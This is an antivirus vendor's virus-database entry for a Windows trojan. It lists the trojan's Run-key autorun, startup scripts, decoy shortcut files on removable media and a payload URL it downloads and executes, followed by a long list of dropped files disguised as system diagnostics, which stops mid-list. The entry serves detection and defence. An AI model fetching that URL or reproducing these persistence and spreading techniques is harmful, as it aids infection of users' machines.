用户服务中心

Close

Library
My library

+ Add to library

Search
Search

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

A query form

Call us

+7 (495) 789-45-86

Forum

Your tickets

New ticket

Call us

+7 (495) 789-45-86

Profile

CN

RU CN DE EN ES FR IT JP KZ UZ PL BY ID
Close
服务
扫描仪
Dr.Web vxCube
试用
病毒知识库
知识库

技术

术语

教育培训

误区

新闻

Trojan.Siggen32.27046

Added to the Dr.Web virus database: 2026-02-27

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '5I2J81OKU6' = '"%ALLUSERSPROFILE%\ChromeUpdater.js"'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\chromeupdater.js
  • %APPDATA%\microsoft\windows\start menu\programs\startup\softwaredistribution.js
Creates the following files on removable media
  • <Drive name for removable media>:\chromeupdater.js
  • <Drive name for removable media>:\system volume information.lnk
  • <Drive name for removable media>:\archer.avi.lnk
  • <Drive name for removable media>:\000814251_video_01.avi.lnk
  • <Drive name for removable media>:\dialmap.bmp.lnk
  • <Drive name for removable media>:\dial.bmp.lnk
  • <Drive name for removable media>:\pmd.cer.lnk
  • <Drive name for removable media>:\contoso.cer.lnk
  • <Drive name for removable media>:\testee.cer.lnk
  • <Drive name for removable media>:\sdksampleunprivdeveloper.cer.lnk
  • <Drive name for removable media>:\contosoroot_1.cer.lnk
  • <Drive name for removable media>:\lisp_success.doc.lnk
  • <Drive name for removable media>:\hanni_umami_chapter.doc.lnk
  • <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc.lnk
  • <Drive name for removable media>:\hadac_newsletter_july_2010_final.docx.lnk
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.docx.lnk
  • <Drive name for removable media>:\adhd_and_obesity.docx.lnk
  • <Drive name for removable media>:\sdszfo.docx.lnk
  • <Drive name for removable media>:\aoc_saq_d_v3_merchant.docx.lnk
  • <Drive name for removable media>:\nwfieldnotes1966.docx.lnk
  • <Drive name for removable media>:\file_p_00000000_1371597592.docx.lnk
  • <Drive name for removable media>:\issi2013_template_for_posters.docx.lnk
  • <Drive name for removable media>:\tcm851ax32.exe.lnk
  • <Drive name for removable media>:\skypesetup.exe.lnk
  • <Drive name for removable media>:\winmine.exe.lnk
  • <Drive name for removable media>:\notepad.exe.lnk
  • <Drive name for removable media>:\wrar520.exe.lnk
  • <Drive name for removable media>:\garden.htm.lnk
  • <Drive name for removable media>:\alert.htm.lnk
  • <Drive name for removable media>:\about.htm.lnk
  • <Drive name for removable media>:\trivial-merge.html.lnk
  • <Drive name for removable media>:\about.html.lnk
  • <Drive name for removable media>:\howto-index.html.lnk
  • <Drive name for removable media>:\api-hashmap.html.lnk
  • <Drive name for removable media>:\168.jpeg.lnk
  • <Drive name for removable media>:\2.jpeg.lnk
  • <Drive name for removable media>:\3.jpeg.lnk
  • <Drive name for removable media>:\1189.jpeg.lnk
  • <Drive name for removable media>:\210252809.jpeg.lnk
  • <Drive name for removable media>:\4f0bf7ff71f28.jpeg.lnk
  • <Drive name for removable media>:\210252809.jpg.lnk
  • <Drive name for removable media>:\2.jpg.lnk
  • <Drive name for removable media>:\region-north-karelia.jpg.lnk
  • <Drive name for removable media>:\pushkin.jpg.lnk
  • <Drive name for removable media>:\scan.mov.lnk
  • <Drive name for removable media>:\etc6_m_1.mov.lnk
  • <Drive name for removable media>:\spanner.mov.lnk
  • <Drive name for removable media>:\d0068197bb5a41fea16a220c45390606.mp4.lnk
  • <Drive name for removable media>:\10thingscondoms.pdf.lnk
  • <Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.pdf.lnk
  • <Drive name for removable media>:\spib_pima.pdf.lnk
  • <Drive name for removable media>:\bc01.pdf.lnk
  • <Drive name for removable media>:\lom602.pdf.lnk
  • <Drive name for removable media>:\2015-02-worms-nanoparticle-toxicity.pdf.lnk
  • <Drive name for removable media>:\7790_preview.pdf.lnk
Malicious functions
Downloads and executes
  • https://upaste.me/r/dcef605377e426c52
Modifies file system
Creates the following files
  • %ALLUSERSPROFILE%\softwaredistribution_\index\appsdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\audioplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\audiorecordingdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\bitsdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\bluetoothdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\cameragethelpdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\devicecenterdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\devicediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\iebrowsewebdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\iesecuritydiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\keyboarddiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\maintenancediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_1_web.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_2_fileshare.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_4_networkadapter.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_5_inbound.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\networkdiagnostics_6_da.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\pcwdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\powerdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\printerdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\searchdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\speechdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\videoplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerconfiguration.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayermedialibrary.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsmediaplayerplaydvd.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\index\windowsupdatediagnostic.xml
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\resources\licenses\setup\chromeupdater.js
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\dfr\softwaredistribution.js
  • %ALLUSERSPROFILE%\softwaredistribution_\scheduled\maintenance\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_connectedaccount.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rc_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_connectedaccount.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\rs_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\utils_apps.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_uac.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\apps\vf_wsreset.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_audiodiagnosticsnapin.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_invocation.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_loadassembly.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_rundiagnosticscript.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_changevolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_enableincpl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_notdefault.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_samplingrate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\rs_unmute.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audiodevicedriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_disabledincpl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_lowvolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_mute.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_notdefault.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_samplingrate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\ts_unpluggedin.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\audio\vf_lowvolume.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_registry.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\cl_service.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsacl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsdll.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rc_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsacl.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsdll.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\rs_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bits\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_checkbt.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_disabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_driverproblem.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_otherissue.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rc_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_checkbt.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_disabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_driverproblem.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_otherissue.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\bluetooth\vf_btradiooff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_detectingdevice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\db_deviceerrorlibrary.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_drivernotfound.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_enabledevice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_informcustomer.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\rs_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedisabled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_drivernotfound.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_hardwaredevicemain.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_informcustomer.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_notworkingproperly.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_pendingrestart.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\ts_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\device\vf_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\cl_utility.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\devicecenter\ts_devicecenter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_disableaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetcachesize.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\rs_restoreieconnection.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_ieconnection.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_pagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\ts_tempfilecachesize.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iebrowseweb\vf_iedefectiveaddon.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\iesecurity_troubleshooter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_blockpopups.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\rs_phishingfilter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_blockpopups.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\iesecurity\ts_phishingfilter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\cl_telemetry.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\keyboarddiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\rs_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\keyboard\ts_cicero.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\htinteractiveres.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\interactiveres.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsnapin.dll
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsresolve.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticstroubleshoot.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\networkdiagnosticsverify.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\startdpsservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilityfunctions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\networking\utilitysetconstants.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\rs_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\ts_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\pcw\vf_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\power_troubleshooter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustdimdisplay.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustscreenbrightness.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_adjustwirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_balanced.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_changeprocessorstate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disablescreensaver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_disableusbselective.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetdisplayidletimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidledisktimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\rs_resetidlesleepsetting.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_balanced.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_dimdisplay.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_displayidletimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idledisktimeout.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_idlesleepsetting.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_minprocessorstate.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screenbrightness.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_screensaver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_usbselective.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\power\ts_wirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\mf_printerdiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_cancelalljobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_deleteprintjobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerdriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_processprinterjobs.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_restartspoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_setspoolerstartmode.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_startspoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\rs_wrongdefaultprinter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_cannotconnect.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_defaultprinter.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outofpaper.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_outoftoner.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_paperjam.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdriver.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerdrivererror.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_printjobsstuck.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_setspoolermode.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\ts_spoolerservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\printer\vf_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_resetwindowssearchapp.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restoredefaults.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_restorepermissions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\rs_startindexingservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_checkpermissions.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_filterhostcrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdowninrecovery.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_forcedshutdownnocorruption.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservice.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_indexingservicecrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_protocolhostcrashing.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\search\ts_searchapp.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\mf_speechdiagnostic.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\rs_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\speech\shellnew\cl_localizationdata.psd1
